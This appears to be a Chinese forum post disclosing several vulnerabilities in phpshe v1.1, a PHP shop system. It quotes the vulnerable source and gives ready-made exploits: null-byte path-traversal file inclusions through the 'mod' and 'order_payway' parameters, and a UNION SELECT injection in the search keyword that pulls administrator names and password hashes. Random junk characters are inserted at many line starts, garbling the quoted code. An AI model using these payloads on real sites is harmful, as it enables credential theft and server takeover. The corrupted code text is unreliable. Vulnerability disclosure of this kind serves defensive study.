phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
5 b% g& ~5 O. T- B) R+ [7 I& h% X) t/* Phpshe v1.1 Vulnerability
8 d0 g7 _: O$ ~/* ========================
/* By: : Kn1f3
9 o$ J9 a9 Q# T6 c, U/* E-Mail : 681796@qq.com
8 V: H1 n" g; `6 }/*******************************************************/
0×00 整体大概参数传输


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2 ~; a/ _. H1 B* V6 A- y//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
" W& K+ P% d# Q3 x0 r* Q}
- A9 g/ _8 F! k% {  T4 o3 melse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
7 \! K& `! v& T4 ?+ jsession_start();
5 S# r5 x0 U% u6 F- S8 `( B!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
; t3 i' x, C2 u/ ]!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞

) R- \1 N; X0 G( {1 x/ ?6 {
//首页文件
  a9 \! g4 D$ E0 z<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
5 M! n) u# D% O0 i?>
! V7 Q, C, j" U4 ]$ E  L5 j. t//common 文件 第15行开始
5 P5 z* S4 t) H7 u  W& v8 ^/ Iurl路由配置
* g, V* p( ]4 [/ `# M& J7 ?& f! g, ~- D$module = $mod = $act = 'index';
' X7 c# E2 I& L5 v2 D$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
8 T+ |! G6 |0 `$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
9 K$ }/ c" c. c7 J# v, E$ J! E//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
6 X; ^6 `8 W  _- Fpe_lead('hook/category.hook.php');
' V$ Z- ~0 j5 z! V, P& Eif ($category_id) {
+ w8 _1 S0 j! S1 z, v8 m" Awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
% l* i! f( {! q. i5 F$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
. J  ~( l3 P+ Bif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
* q; {  b8 q& ~  S$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
: ]# h6 ^$ {# U$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
" j# I+ S% V) a2 ?6 Y//热卖排行
$product_hotlist = product_hotlist();
# A/ S9 {& h' N* o+ N( d4 e//当前路径
$nowpath = category_path($category_id);
) ?. O& ?7 r7 g$seo = pe_seo($info['category_name']);
, y( [" }& e6 M, ~; Z+ e$ Q# {include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 m4 d. N+ J2 Q1 L2 A2 j  V{
5 V2 U" ]" j9 R" ?/ v//处理条件语句
& A7 g1 H1 {5 }$sqlwhere = $this->_dowhere($where);
% h' D% _; }7 treturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
$ J, Y& b; \$ L  c  c3 \}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

9 G7 R& F6 w$ p+ r$ [& S, ^& e$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

# p8 ?) B# K6 X8 \/ u& mforeach($cache_payway as $k => $v) {

8 O6 w  f: ?5 Q3 C! ?$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

( W3 O* U( M/ S9 U& h0 [if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

5 I! j6 X! P$ H}

}

) n7 [. p$ C' ?7 i) i' n* g$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

1 B  K8 x4 D% ]/ i' W/ \5 o!$order['order_id'] && pe_error('订单号错误...');

, U# B3 @1 Z& I/ o5 G; {8 Dif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

4 Y6 C2 ~# W" y4 m9 u8 d$ A$order['order_name'] .= "{$v['product_name']};";
4 w+ q: ]3 o0 @" {6 D) Z! k+ S

}

8 m; U5 r! V. T7 C, p1 H. Eecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

8 l* |, t% P% B5 R8 h}

}

$ a) [* W  Q' A* P$seo = pe_seo('选择支付方式');

$ q$ w0 r! T+ {$ l0 [include(pe_tpl('order_pay.html'));

( m7 m" y2 u: dbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>